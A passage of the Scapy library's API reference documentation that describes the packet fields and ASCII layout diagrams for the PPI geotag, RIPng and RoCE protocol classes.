|RESERVED1|RESERVED1|RESERVED1|RESERVED1|RESERVED1|RESERVED1|RESERVED1|RESERVED1|RESERVED1|RESERVED1|RESERVED2|RESERVED2|RESERVED2|RESERVED2|RESERVED2|RESERVED2|RESERVED2|RESERVED2|                           DESCSTRING                          |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             APPID                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            APPDATA                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|EXTENDE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. PPI_Geotag_GPS                        


PPI_Geotag_GPS fields






	geotag_ver

	ByteField

	2



	geotag_pad

	ByteField

	0



	geotag_len

	LEShortField

	None



	present

	HCSIFlagsField

	None



	GPSFlags

	FlagsField (Cond)

	None



	Latitude

	Fixed3_7Field (Cond)

	None



	Longitude

	Fixed3_7Field (Cond)

	None



	Altitude

	Fixed6_4Field (Cond)

	None



	Altitude_g

	Fixed6_4Field (Cond)

	None



	GPSTime

	GPSTime_Field (Cond)

	None



	FractionalTime

	NSCounter_Field (Cond)

	None



	eph

	Fixed3_6Field (Cond)

	None



	epv

	Fixed3_6Field (Cond)

	None



	ept

	NSCounter_Field (Cond)

	None



	Reserved10

	HCSINullField (Cond)

	None



	Reserved11

	HCSINullField (Cond)

	None



	Reserved12

	HCSINullField (Cond)

	None



	Reserved13

	HCSINullField (Cond)

	None



	Reserved14

	HCSINullField (Cond)

	None



	Reserved15

	HCSINullField (Cond)

	None



	Reserved16

	HCSINullField (Cond)

	None



	Reserved17

	HCSINullField (Cond)

	None



	Reserved18

	HCSINullField (Cond)

	None



	Reserved19

	HCSINullField (Cond)

	None



	Reserved20

	HCSINullField (Cond)

	None



	Reserved21

	HCSINullField (Cond)

	None



	Reserved22

	HCSINullField (Cond)

	None



	Reserved23

	HCSINullField (Cond)

	None



	Reserved24

	HCSINullField (Cond)

	None



	Reserved25

	HCSINullField (Cond)

	None



	Reserved26

	HCSINullField (Cond)

	None



	Reserved27

	HCSINullField (Cond)

	None



	DescString

	HCSIDescField (Cond)

	None



	AppId

	XLEIntField (Cond)

	None



	AppData

	HCSIAppField (Cond)

	None



	Extended

	HCSINullField (Cond)

	None











	
hcsi_fields = [<FlagsField (PPI_Geotag_GPS).GPSFlags>, <Fixed3_7Field (PPI_Geotag_GPS).Latitude>, <Fixed3_7Field (PPI_Geotag_GPS).Longitude>, <Fixed6_4Field (PPI_Geotag_GPS).Altitude>, <Fixed6_4Field (PPI_Geotag_GPS).Altitude_g>, <GPSTime_Field (PPI_Geotag_GPS).GPSTime>, <NSCounter_Field (PPI_Geotag_GPS).FractionalTime>, <Fixed3_6Field (PPI_Geotag_GPS).eph>, <Fixed3_6Field (PPI_Geotag_GPS).epv>, <NSCounter_Field (PPI_Geotag_GPS).ept>, <HCSINullField (PPI_Geotag_GPS).Reserved10>, <HCSINullField (PPI_Geotag_GPS).Reserved11>, <HCSINullField (PPI_Geotag_GPS).Reserved12>, <HCSINullField (PPI_Geotag_GPS).Reserved13>, <HCSINullField (PPI_Geotag_GPS).Reserved14>, <HCSINullField (PPI_Geotag_GPS).Reserved15>, <HCSINullField (PPI_Geotag_GPS).Reserved16>, <HCSINullField (PPI_Geotag_GPS).Reserved17>, <HCSINullField (PPI_Geotag_GPS).Reserved18>, <HCSINullField (PPI_Geotag_GPS).Reserved19>, <HCSINullField (PPI_Geotag_GPS).Reserved20>, <HCSINullField (PPI_Geotag_GPS).Reserved21>, <HCSINullField (PPI_Geotag_GPS).Reserved22>, <HCSINullField (PPI_Geotag_GPS).Reserved23>, <HCSINullField (PPI_Geotag_GPS).Reserved24>, <HCSINullField (PPI_Geotag_GPS).Reserved25>, <HCSINullField (PPI_Geotag_GPS).Reserved26>, <HCSINullField (PPI_Geotag_GPS).Reserved27>, <HCSIDescField (PPI_Geotag_GPS,PPI_Geotag_Vector,PPI_Geotag_Sensor,PPI_Geotag_Antenna).DescString>, <XLEIntField (PPI_Geotag_GPS,PPI_Geotag_Vector,PPI_Geotag_Sensor,PPI_Geotag_Antenna).AppId>, <HCSIAppField (PPI_Geotag_GPS,PPI_Geotag_Vector,PPI_Geotag_Sensor,PPI_Geotag_Antenna).AppData>, <HCSINullField (PPI_Geotag_GPS,PPI_Geotag_Vector,PPI_Geotag_Sensor,PPI_Geotag_Antenna).Extended>]

	








	
class scapy.contrib.ppi_geotag.PPI_Geotag_Sensor(_pkt, /, *, geotag_ver=2, geotag_pad=0, geotag_len=None, present=None, SensorType=None, ScaleFactor=None, Val_X=None, Val_Y=None, Val_Z=None, Val_T=None, Val_E=None, Reserved07=None, Reserved08=None, Reserved09=None, Reserved10=None, Reserved11=None, Reserved12=None, Reserved13=None, Reserved14=None, Reserved15=None, Reserved16=None, Reserved17=None, Reserved18=None, Reserved19=None, Reserved20=None, Reserved21=None, Reserved22=None, Reserved23=None, Reserved24=None, Reserved25=None, Reserved26=None, Reserved27=None, DescString=None, AppId=None, AppData=None, Extended=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ppi_geotag.py#L421-L431]

	Bases: HCSIPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   GEOTAG VER  |   GEOTAG PAD  |           GEOTAG LEN          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PRESENT                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SENSORTYPE          |  SCALEFACTOR  |     VAL X     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |     VAL Y     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |     VAL Z     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |     VAL T     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |     VAL E     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |RESERVED0|RESERVED0|RESERVED0|RESERVED1|RESERVED1|RESERVED1|RESERVED1|RESERVED1|RESERVED1|RESERVED1|RESERVED1|RESERVED1|RESERVED1|RESERVED2|RESERVED2|RESERVED2|RESERVED2|RESERVED2|RESERVED2|RESERVED2|RESERVED2|   DESCSTRING  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |     APPID     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |    APPDATA    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |EXTENDE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. PPI_Geotag_Sensor                      


PPI_Geotag_Sensor fields






	geotag_ver

	ByteField

	2



	geotag_pad

	ByteField

	0



	geotag_len

	LEShortField

	None



	present

	HCSIFlagsField

	None



	SensorType

	LEShortEnumField (Cond)

	None



	ScaleFactor

	SignedByteField (Cond)

	None



	Val_X

	Fixed6_4Field (Cond)

	None



	Val_Y

	Fixed6_4Field (Cond)

	None



	Val_Z

	Fixed6_4Field (Cond)

	None



	Val_T

	Fixed6_4Field (Cond)

	None



	Val_E

	Fixed6_4Field (Cond)

	None



	Reserved07

	HCSINullField (Cond)

	None



	Reserved08

	HCSINullField (Cond)

	None



	Reserved09

	HCSINullField (Cond)

	None



	Reserved10

	HCSINullField (Cond)

	None



	Reserved11

	HCSINullField (Cond)

	None



	Reserved12

	HCSINullField (Cond)

	None



	Reserved13

	HCSINullField (Cond)

	None



	Reserved14

	HCSINullField (Cond)

	None



	Reserved15

	HCSINullField (Cond)

	None



	Reserved16

	HCSINullField (Cond)

	None



	Reserved17

	HCSINullField (Cond)

	None



	Reserved18

	HCSINullField (Cond)

	None



	Reserved19

	HCSINullField (Cond)

	None



	Reserved20

	HCSINullField (Cond)

	None



	Reserved21

	HCSINullField (Cond)

	None



	Reserved22

	HCSINullField (Cond)

	None



	Reserved23

	HCSINullField (Cond)

	None



	Reserved24

	HCSINullField (Cond)

	None



	Reserved25

	HCSINullField (Cond)

	None



	Reserved26

	HCSINullField (Cond)

	None



	Reserved27

	HCSINullField (Cond)

	None



	DescString

	HCSIDescField (Cond)

	None



	AppId

	XLEIntField (Cond)

	None



	AppData

	HCSIAppField (Cond)

	None



	Extended

	HCSINullField (Cond)

	None











	
hcsi_fields = [<LEShortEnumField (PPI_Geotag_Sensor).SensorType>, <SignedByteField (PPI_Geotag_Sensor).ScaleFactor>, <Fixed6_4Field (PPI_Geotag_Sensor).Val_X>, <Fixed6_4Field (PPI_Geotag_Sensor).Val_Y>, <Fixed6_4Field (PPI_Geotag_Sensor).Val_Z>, <Fixed6_4Field (PPI_Geotag_Sensor).Val_T>, <Fixed6_4Field (PPI_Geotag_Sensor).Val_E>, <HCSINullField (PPI_Geotag_Sensor).Reserved07>, <HCSINullField (PPI_Geotag_Sensor).Reserved08>, <HCSINullField (PPI_Geotag_Sensor).Reserved09>, <HCSINullField (PPI_Geotag_Sensor).Reserved10>, <HCSINullField (PPI_Geotag_Sensor).Reserved11>, <HCSINullField (PPI_Geotag_Sensor).Reserved12>, <HCSINullField (PPI_Geotag_Sensor).Reserved13>, <HCSINullField (PPI_Geotag_Sensor).Reserved14>, <HCSINullField (PPI_Geotag_Sensor).Reserved15>, <HCSINullField (PPI_Geotag_Sensor).Reserved16>, <HCSINullField (PPI_Geotag_Sensor).Reserved17>, <HCSINullField (PPI_Geotag_Sensor).Reserved18>, <HCSINullField (PPI_Geotag_Sensor).Reserved19>, <HCSINullField (PPI_Geotag_Sensor).Reserved20>, <HCSINullField (PPI_Geotag_Sensor).Reserved21>, <HCSINullField (PPI_Geotag_Sensor).Reserved22>, <HCSINullField (PPI_Geotag_Sensor).Reserved23>, <HCSINullField (PPI_Geotag_Sensor).Reserved24>, <HCSINullField (PPI_Geotag_Sensor).Reserved25>, <HCSINullField (PPI_Geotag_Sensor).Reserved26>, <HCSINullField (PPI_Geotag_Sensor).Reserved27>, <HCSIDescField (PPI_Geotag_GPS,PPI_Geotag_Vector,PPI_Geotag_Sensor,PPI_Geotag_Antenna).DescString>, <XLEIntField (PPI_Geotag_GPS,PPI_Geotag_Vector,PPI_Geotag_Sensor,PPI_Geotag_Antenna).AppId>, <HCSIAppField (PPI_Geotag_GPS,PPI_Geotag_Vector,PPI_Geotag_Sensor,PPI_Geotag_Antenna).AppData>, <HCSINullField (PPI_Geotag_GPS,PPI_Geotag_Vector,PPI_Geotag_Sensor,PPI_Geotag_Antenna).Extended>]

	








	
class scapy.contrib.ppi_geotag.PPI_Geotag_Vector(_pkt, /, *, geotag_ver=2, geotag_pad=0, geotag_len=None, present=None, VectorFlags=None, VectorChars=None, Pitch=None, Roll=None, Heading=None, Off_X=None, Off_Y=None, Off_Z=None, Reserved08=None, Reserved09=None, Reserved10=None, Reserved11=None, Reserved12=None, Reserved13=None, Reserved14=None, Reserved15=None, Err_Rot=None, Err_Off=None, Reserved18=None, Reserved19=None, Reserved20=None, Reserved21=None, Reserved22=None, Reserved23=None, Reserved24=None, Reserved25=None, Reserved26=None, Reserved27=None, DescString=None, AppId=None, AppData=None, Extended=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ppi_geotag.py#L388-L402]

	Bases: HCSIPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   GEOTAG VER  |   GEOTAG PAD  |           GEOTAG LEN          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PRESENT                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          VECTORFLAGS                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          VECTORCHARS                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             PITCH                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ROLL                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            HEADING                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             OFF X                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             OFF Y                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             OFF Z                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RESERVED0|RESERVED0|RESERVED1|RESERVED1|RESERVED1|RESERVED1|RESERVED1|RESERVED1|                            ERR ROT                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ERR OFF                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RESERVED1|RESERVED1|RESERVED2|RESERVED2|RESERVED2|RESERVED2|RESERVED2|RESERVED2|RESERVED2|RESERVED2|                           DESCSTRING                          |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             APPID                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            APPDATA                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|EXTENDE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. PPI_Geotag_Vector                      


PPI_Geotag_Vector fields






	geotag_ver

	ByteField

	2



	geotag_pad

	ByteField

	0



	geotag_len

	LEShortField

	None



	present

	HCSIFlagsField

	None



	VectorFlags

	VectorFlags_Field (Cond)

	None



	VectorChars

	FlagsField (Cond)

	None



	Pitch

	Fixed3_6Field (Cond)

	None



	Roll

	Fixed3_6Field (Cond)

	None



	Heading

	Fixed3_6Field (Cond)

	None



	Off_X

	Fixed6_4Field (Cond)

	None



	Off_Y

	Fixed6_4Field (Cond)

	None



	Off_Z

	Fixed6_4Field (Cond)

	None



	Reserved08

	HCSINullField (Cond)

	None



	Reserved09

	HCSINullField (Cond)

	None



	Reserved10

	HCSINullField (Cond)

	None



	Reserved11

	HCSINullField (Cond)

	None



	Reserved12

	HCSINullField (Cond)

	None



	Reserved13

	HCSINullField (Cond)

	None



	Reserved14

	HCSINullField (Cond)

	None



	Reserved15

	HCSINullField (Cond)

	None



	Err_Rot

	Fixed3_6Field (Cond)

	None



	Err_Off

	Fixed6_4Field (Cond)

	None



	Reserved18

	HCSINullField (Cond)

	None



	Reserved19

	HCSINullField (Cond)

	None



	Reserved20

	HCSINullField (Cond)

	None



	Reserved21

	HCSINullField (Cond)

	None



	Reserved22

	HCSINullField (Cond)

	None



	Reserved23

	HCSINullField (Cond)

	None



	Reserved24

	HCSINullField (Cond)

	None



	Reserved25

	HCSINullField (Cond)

	None



	Reserved26

	HCSINullField (Cond)

	None



	Reserved27

	HCSINullField (Cond)

	None



	DescString

	HCSIDescField (Cond)

	None



	AppId

	XLEIntField (Cond)

	None



	AppData

	HCSIAppField (Cond)

	None



	Extended

	HCSINullField (Cond)

	None











	
hcsi_fields = [<VectorFlags_Field (PPI_Geotag_Vector).VectorFlags>, <FlagsField (PPI_Geotag_Vector).VectorChars>, <Fixed3_6Field (PPI_Geotag_Vector).Pitch>, <Fixed3_6Field (PPI_Geotag_Vector).Roll>, <Fixed3_6Field (PPI_Geotag_Vector).Heading>, <Fixed6_4Field (PPI_Geotag_Vector).Off_X>, <Fixed6_4Field (PPI_Geotag_Vector).Off_Y>, <Fixed6_4Field (PPI_Geotag_Vector).Off_Z>, <HCSINullField (PPI_Geotag_Vector).Reserved08>, <HCSINullField (PPI_Geotag_Vector).Reserved09>, <HCSINullField (PPI_Geotag_Vector).Reserved10>, <HCSINullField (PPI_Geotag_Vector).Reserved11>, <HCSINullField (PPI_Geotag_Vector).Reserved12>, <HCSINullField (PPI_Geotag_Vector).Reserved13>, <HCSINullField (PPI_Geotag_Vector).Reserved14>, <HCSINullField (PPI_Geotag_Vector).Reserved15>, <Fixed3_6Field (PPI_Geotag_Vector).Err_Rot>, <Fixed6_4Field (PPI_Geotag_Vector).Err_Off>, <HCSINullField (PPI_Geotag_Vector).Reserved18>, <HCSINullField (PPI_Geotag_Vector).Reserved19>, <HCSINullField (PPI_Geotag_Vector).Reserved20>, <HCSINullField (PPI_Geotag_Vector).Reserved21>, <HCSINullField (PPI_Geotag_Vector).Reserved22>, <HCSINullField (PPI_Geotag_Vector).Reserved23>, <HCSINullField (PPI_Geotag_Vector).Reserved24>, <HCSINullField (PPI_Geotag_Vector).Reserved25>, <HCSINullField (PPI_Geotag_Vector).Reserved26>, <HCSINullField (PPI_Geotag_Vector).Reserved27>, <HCSIDescField (PPI_Geotag_GPS,PPI_Geotag_Vector,PPI_Geotag_Sensor,PPI_Geotag_Antenna).DescString>, <XLEIntField (PPI_Geotag_GPS,PPI_Geotag_Vector,PPI_Geotag_Sensor,PPI_Geotag_Antenna).AppId>, <HCSIAppField (PPI_Geotag_GPS,PPI_Geotag_Vector,PPI_Geotag_Sensor,PPI_Geotag_Antenna).AppData>, <HCSINullField (PPI_Geotag_GPS,PPI_Geotag_Vector,PPI_Geotag_Sensor,PPI_Geotag_Antenna).Extended>]

	








	
class scapy.contrib.ppi_geotag.VectorFlags_Field(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ppi_geotag.py#L158-L202]

	Bases: XLEIntField

Represents the VectorFlags field. Handles the RelativeTo:sub-field


	
any2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ppi_geotag.py#L185-L202]

	




	
i2repr(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ppi_geotag.py#L171-L183]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.ripng


	
class scapy.contrib.ripng.RIPng(_pkt, /, *, cmd=1, ver=1, null=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ripng.py#L13-L19]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CMD      |      VER      |              NULL             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. RIPng                            


RIPng fields






	cmd

	ByteEnumField

	1



	ver

	ByteField

	1



	null

	ShortField

	0











	
payload_guess

	Possible sublayers:
RIPngEntry










	
class scapy.contrib.ripng.RIPngEntry(_pkt, /, *, prefix_or_nh='::', routetag=0, prefixlen=0, metric=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ripng.py#L22-L30]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          PREFIX OR NH                         |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ROUTETAG           |   PREFIXLEN   |     METRIC    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. RIPngEntry                          


RIPngEntry fields






	prefix_or_nh

	IP6Field

	'::'



	routetag

	ShortField

	0



	prefixlen

	ByteField

	0



	metric

	ByteEnumField

	1











	
payload_guess

	Possible sublayers:
RIPngEntry












            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.roce

RoCE: RDMA over Converged Ethernet


	
class scapy.contrib.roce.AETH(_pkt, /, *, syndrome=0, msn=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/roce.py#L244-L249]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    SYNDROME   |                      MSN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. AETH                             


AETH fields






	syndrome

	XByteField

	0



	msn

	XBitField  (24 bits)

	0















	
class scapy.contrib.roce.BTH(_pkt, /, *, opcode=0, solicited=0, migreq=0, padcount=0, version=0, pkey=65535, fecn=0, becn=0, resv6=0, dqpn=0, ackreq=0, resv7=0, psn=0, icrc=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/roce.py#L133-L214]

	Bases: Packet


	
aliastypes

	




	
compute_icrc(p: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/roce.py#L157-L204]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OPCODE    |S|M|PAD|VERSION|              PKEY             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|F|B|   RESV6   |                      DQPN                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|A|    RESV7    |                      PSN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ICRC                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. BTH                             


BTH fields






	opcode

	ByteEnumField

	0



	solicited

	BitField  (1 bit)

	0



	migreq

	BitField  (1 bit)

	0



	padcount

	BitField  (2 bits)

	0



	version

	BitField  (4 bits)

	0



	pkey

	XShortField

	65535



	fecn

	BitField  (1 bit)

	0



	becn

	BitField  (1 bit)

	0



	resv6

	BitField  (6 bits)

	0



	dqpn

	BitField  (24 bits)

	0



	ackreq

	BitField  (1 bit)

	0



	resv7

	BitField  (7 bits)

	0



	psn

	BitField  (24 bits)

	0



	icrc

	FCSField

	None











	
static pack_icrc(icrc: int) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/roce.py#L152-L155]

	




	
payload_guess

	Possible sublayers:
AETH, CNPPadding






	
post_build(p: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/roce.py#L209-L214]

	








	
class scapy.contrib.roce.CNPPadding(_pkt, /, *, reserved1=0, reserved2=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/roce.py#L217-L222]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           RESERVED1                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           RESERVED2                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. CNPPadding                          


CNPPadding fields






	reserved1

	XLongField

	0



	reserved2

	XLongField

	0















	
class scapy.contrib.roce.GRH(_pkt, /, *, ipver=6, tclass=0, flowlabel=6, paylen=0, nexthdr=0, hoplmt=0, sgid=0, dgid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/roce.py#L230-L241]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| IPVER |     TCLASS    |               FLOWLABEL               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             PAYLEN            |    NEXTHDR    |     HOPLMT    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SGID                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DGID                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. GRH                             


GRH fields






	ipver

	BitField  (4 bits)

	6



	tclass

	BitField  (8 bits)

	0



